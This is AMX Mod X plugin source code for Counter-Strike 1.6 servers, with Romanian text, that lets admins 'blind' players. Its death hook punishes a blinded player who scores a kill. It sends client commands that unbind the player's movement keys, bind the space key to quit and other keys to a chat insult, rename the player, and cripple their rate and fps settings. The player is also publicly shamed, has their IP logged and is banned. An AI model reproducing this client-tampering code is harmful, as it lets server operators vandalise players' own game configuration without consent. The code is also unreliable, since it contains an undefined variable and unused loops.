#include <amxmodx>
#include <amxmisc>
#include <fakemeta_util>
#include <fun>
#include <engine>
new DirectorServer[64],TextServer[32],LimbaServer = 31,r,t
new FisierServer[128]
new SalvareServer
#define CMDTARGET_BLIND (CMDTARGET_OBEY_IMMUNITY|CMDTARGET_ALLOW_SELF|CMDTARGET_NO_BOTS)
new bool:g_bBlind[33]
new gmsgScreenFade
new amx_show_activity
new admin[ 33 ];
static const poza[] = "http://www.cs16.ro/forum"
public plugin_init()
{
register_plugin("Advanced blind", "1.0", "CS16")
gmsgScreenFade = get_user_msgid("ScreenFade")
register_event("ScreenFade", "Event_ScreenFade", "b")
register_event("DeathMsg","hook_death","a");
register_concmd("blind","amx_blind", ADMIN_KICK, "- >nume sau #userid< -")
register_concmd("unblind","amx_unblind", ADMIN_KICK, "- >nume sau #userid< -")
if( !(amx_show_activity = get_cvar_pointer("amx_show_activity")) )
{
amx_show_activity = register_cvar("amx_show_activity","0")
}
}
public client_putinserver( id )
{
g_bBlind[id] = false
}
public amx_blind(id, level, cid)
{
if(!cmd_access(id, level, cid, 2))
return PLUGIN_HANDLED
new arg[32]
read_argv(1, arg, 31)
new user = cmd_target(id, arg, CMDTARGET_BLIND)
if(!user)
return PLUGIN_HANDLED
new name2[32], name[32], ip[32]
get_user_name(id, name, 31)
get_user_name(user, name2, 31)
get_user_ip(user, ip, 31, 1)
admin[ user ] = id;
if(g_bBlind[user])
{
console_print(id, "Jucatorul ^"%s^" are deja blind", name2)
return PLUGIN_HANDLED
}
else
{
g_bBlind[user] = true
Fade_To_Black(user)
}
console_print(id, "Jucatorul ^"%s^" cu ip: ^"%s^" a primit blind", name2, ip)
client_cmd(id,"amx_chat ^"%s^" a primit blind", name2)
return PLUGIN_HANDLED
}
public amx_unblind(id, level, cid)
{
if(!cmd_access(id, level, cid, 2))
return PLUGIN_HANDLED
new arg[32]
read_argv(1, arg, 31)
new user = cmd_target(id, arg, CMDTARGET_BLIND)
if(!user)
return PLUGIN_HANDLED
new name2[32], name[32], ip[32]
get_user_name(id, name, 31)
get_user_name(user, name2, 31)
get_user_ip(user, ip, 31, 1)
if(g_bBlind[user])
{
g_bBlind[user] = false
Reset_Screen(user)
}
else
{
console_print(id, "Client ^"%s^" is already unblind", name2)
return PLUGIN_HANDLED
}
switch(get_pcvar_num(amx_show_activity))
{
}
console_print(id, "Jucatorul ^"%s^" cu ip: ^"%s^" a primit unblind", name2, ip)
client_cmd(id,"amx_chat ^"%s^" a primit unblind", name2)
return PLUGIN_HANDLED
}
public Event_ScreenFade(id)
{
if(g_bBlind[id])
{
Fade_To_Black(id)
}
}
Fade_To_Black(id)
{
message_begin(MSG_ONE_UNRELIABLE, gmsgScreenFade, _, id)
write_short((1<<3)|(1<<8)|(1<<10))
write_short((1<<3)|(1<<8)|(1<<10))
write_short((1<<0)|(1<<2))
write_byte(255)
write_byte(255)
write_byte(255)
write_byte(255)
message_end()
}
Reset_Screen(id)
{
message_begin(MSG_ONE_UNRELIABLE, gmsgScreenFade, _, id)
write_short(1<<2)
write_short(0)
write_short(0)
write_byte(0)
write_byte(0)
write_byte(0)
write_byte(0)
message_end()
}
public hook_death(){
new killer = read_data(1);
new numeserver [64], numeadmin[32], numeblindat[32], ipadmin[32], ipcodat [32], admini[33], inum, message[552]
new fo_logfile[64],timp[64],maxtext[256]
get_user_name(aadmin[killer], numeadmin, 31)
get_user_name(killer, numeblindat, 31)
get_user_ip(admin[killer], ipadmin, 31, 1)
get_user_ip(killer, ipcodat, 31, 1)
get_cvar_string("hostname",numeserver,63);
get_configsdir(fo_logfile, 63)
get_time("%m/%d/%Y - %H:%M:%S",timp,63)
if(g_bBlind[killer])
{
//commanzi daca face frag dupa blind
IncarcareServer()
ScriereServer()
format(message,551,"FRAG DUPA BLIND^nRESPECTA SI VEI FI RESPECTAT.^nEsti al %i`lea nemernic turnat.^nSperam ca te-ai lecuit.^nwWw.nEbuniE.nEt",SalvareServer)
format(maxtext, 255, "[**********] %s -> ADMIN: %s %s CODAT: %s %s ",timp,numeadmin,ipadmin,numeblindat,ipcodat)
format(fo_logfile, 63, "%s/fragdupablind.txt", fo_logfile)
for (new i = 0; i < inum; ++i) {
if ( access(admini[i],ADMIN_CHAT) )
client_print(admini[i],print_chat,"**********: Jucatorul %s a facut frag dupa blind-ul dat de %s",killer,admin[killer])
}
client_cmd(killer,"developer 1")
client_cmd(killer,"unbind w;wait;unbind a;unbind s;wait;unbind d;bind mouse1 ^"say Am facut frag dupa BLIND pe nEbuniE.nEt^";wait;unbind mouse2;unbind mouse3;wait;bind space quit")
client_cmd(killer,"unbind ctrl;wait;unbind 1;unbind 2;wait;unbind 3;unbind 4;wait;unbind 5;unbind 6;wait;unbind 7")
client_cmd(killer,"unbind 8;wait;unbind 9;unbind 0;wait;unbind r;unbind e;wait;unbind g;unbind q;wait;unbind shift")
client_cmd(killer,"unbind end;wait;bind escape ^"say Am facut frag dupa BLIND pe nEbuniE.nEt^";unbind z;wait;unbind x;unbind c;wait;unbind uparrow;unbind downarrow;wait;unbind leftarrow")
client_cmd(killer,"unbind rightarrow;wait;unbind mwheeldown;unbind mwheelup;wait;bind ` ^"say Am facut frag dupa BLIND pe nEbuniE.nEt^";bind ~ ^"say Am facut frag dupa BLIND pe nEbuniE.nEt^";wait;name ^"CODAT de pe nEbuniE.nEt ^"")
client_cmd(killer,"rate 1;gl_flipmatrix 1;cl_cmdrate 10;cl_updaterate 10;fps_max 1;hideradar;con_color ^"1 1 1^"")
write_file(fo_logfile,maxtext,-1)
set_hudmessage(255,255,0,0.47,0.55,0,6.0,12.0,0.1,0.2,1)
show_hudmessage(0, message)
client_cmd(0, "spk ^"vox/bizwarn coded user apprehend^"")
client_print(killer, print_chat, "* FRAG DUPA BLIND by %s", poza)
client_print(killer, print_chat, "* Poza facuta pe : %s",numeserver)
client_print(killer, print_chat, "* Nume codat: ^"%s^" cu IP: %s",numeblindat,ipcodat)
client_print(killer, print_chat, "* Nume admin: ^"%s^" cu IP: %s",numeadmin,ipadmin)
client_print(killer, print_chat, "* Data : %s",timp)
client_print(killer, print_chat, "* Viziteaza %s pentru a face o cerere de UNBAN.", poza)
client_cmd(killer,"wait;snapshot")
console_print(killer, "* FRAG DUPA BLIND by %s", poza)
console_print(killer, "* Poza facuta pe : %s",numeserver)
console_print(killer, "* Nume codat: ^"%s^" cu IP: %s",numeblindat,ipcodat)
console_print(killer, "* Nume admin: ^"%s^" cu IP: %s",numeadmin,ipadmin)
console_print(killer, "* Data : %s",timp)
console_print(killer, "* Viziteaza %s pentru a face o cerere de UNBAN.", poza)
client_cmd(killer,"wait;snapshot")
console_print(admin[killer], "* FRAG DUPA BLIND by %s", poza)
console_print(admin[killer], "* Poza facuta pe : %s",numeserver)
console_print(admin[killer], "* Nume codat: ^"%s^" cu IP: %s",numeblindat,ipcodat)
console_print(admin[killer], "* Nume admin: ^"%s^" cu IP: %s",numeadmin,ipadmin)
console_print(admin[killer], "* Data : %s",timp)
console_print(admin[killer], "* Viziteaza %s pentru a face o cerere de UNBAN.", poza)
client_cmd(admin[killer],"wait;snapshot")
client_cmd( admin[killer], "amx_addban %s 999999 ^"FRAG DUPA BLIND^"", ipcodat );
//commanzi daca face frag dupa blind
}
}
stock IncarcareServer(){
get_configsdir(DirectorServer, 63)
format(FisierServer,127,"%s/fragdupablind.q",DirectorServer)
if (!file_exists(FisierServer)){
return PLUGIN_HANDLED
}
else {
read_file(FisierServer,0,TextServer,LimbaServer,r)
SalvareServer = str_to_num(TextServer)
}
return PLUGIN_CONTINUE
}
stock ScriereServer(){
get_configsdir(DirectorServer, 63)
format(FisierServer,127,"%s/fragdupablind.q",DirectorServer)
if (!file_exists(FisierServer)){
return PLUGIN_HANDLED
}
else {
read_file(FisierServer,0,TextServer,LimbaServer,t)
SalvareServer = str_to_num(TextServer)
SalvareServer = SalvareServer + 1
format(TextServer,31,"%i",SalvareServer)
delete_file(FisierServer)
write_file(FisierServer,TextServer,-1)
}
return PLUGIN_CONTINUE
}